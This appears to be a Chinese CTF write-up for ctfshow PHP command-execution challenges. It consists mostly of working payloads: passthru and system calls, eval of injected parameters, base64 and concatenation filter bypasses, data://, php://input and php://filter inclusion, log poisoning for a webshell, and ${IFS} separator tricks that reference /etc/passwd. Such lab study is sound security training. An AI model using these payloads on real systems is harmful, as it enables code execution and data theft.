php命令执行的一些执行函数----以ctfshow靶场为解题思路

本文链接：https://blog.youkuaiyun.com/2401_83582688/article/details/143222440

PHP命令执行

一招鲜，吃遍天 c=show_source("flag.php"); c=include($_GET[1]); c=include("flag.php");var_dump(get_defined_vars());

web30：

这道题目过滤了flag,system,php。

那么我们

解法1：passthru

?c=passthru("tac%20fla*");

解法2：绕过*号

假如*号被过滤了，我们可以通过?c=passthru("ls");先获取flag.php是目标，然后再通过？来匹配单个字母，也就是fla?????匹配flag.php，试一下，成功。 ?c=passthru("tac%20fla?????");

解法3：内敛执行（反字节符）

?c=echo%20`tac%20fla*`;
注意结尾的分号，注意写writeup时，因为有反字节符，要核对一下是否转义，需要再在页面上确认一下。利用echo命令和tac相结合来实现。注意flag采用*绕过，`反字节符，是键盘左上角与~在一起的那个。

解法4：带参数输入

?c=$_GET[1]&1=phpinfo(); 不行，原来是写错了。第一个c那里少了eval，少了分号。 /?c=eval($_GET[1]);&1=phpinfo();

?c=eval($_GET[1]);&1=system("tac%20flag.php");

解法5：显示文件命令配合base64编码

?c= highlight_file(base64_decode("ZmxhZy5waHA="));

解法6：使用base64编码绕过

system被过滤，使用passthru函数
payload = url/?payload = passthru(base64_decode("base64-code")); 即url/?c=passthru(base64_decode("Y2F0IGZsYWcucGhw=="));

解法7、利用cp命令将flag拷贝到别处

?c=system("cp fl*g.php a.txt ");
然后浏览器访问a.txt，读取即可。

解法8、拼接法

看了几位师傅的wp，补充一个方法 ?c=$a=sys;$b=tem;$d=$a.$b;$d("tac fl*");

解法9、可以利用已知的其他函数来凑出所需要的字符串来绕过

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv()：返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素，不改变指针；
scandir();遍历目录，这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个，这里其实可以省略倒置和改变数组指针，直接利用[2]取出数组也可以
show_source():查看源码

解法10、利用文件包含

①?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

②?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

③首先我们可以用BP进行抓包，把？file=php：//input输入到链接后刷新抓包，然后再BP中修改发包方式为POST，然后在下面输入<?php system('tac flag.php');?>，就可以获取到flag了

?c=include$_GET[1]?>&1=php://input

④?c=include$_GET[1]?>&1=/var/log/nginx/access.log,进入日志文件，添加UA头，然后用蚁剑连接

二、过滤字符

空格可以利用%20，%09，

“；”可以利用?>来代替

使用" || " " & " " && " 分隔
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

过滤了分号和cat，可以用||和&来代替分号，tac代替cat

可构造playload:
url/?c=tac flag.php||
url/?c=tac flag.php%26
注意，这里的&需要url编码

还有一种方法是nl flag.php+%26或%0a也就是换行符

空格可以用<、<>、%20（space）、%09（tab）、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a（回车）代替，然后可以使用“\”这个符号来分隔字母类的

c''at${IFS}fla''g.p''hp
?c=ca\t${IFS}fla\g.ph\p

这种题目可以先扫目录，然后再寻找文件，然后把文件带出来

scandir查看目录 ->用前几题的方法获取flag

查看根目录内容
c=print_r(scandir("/"));
查看文件内容
POST传参：c=highlight_file("/flag.txt");
POST传参：c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=/flag.txt

c=show_source('flag.php');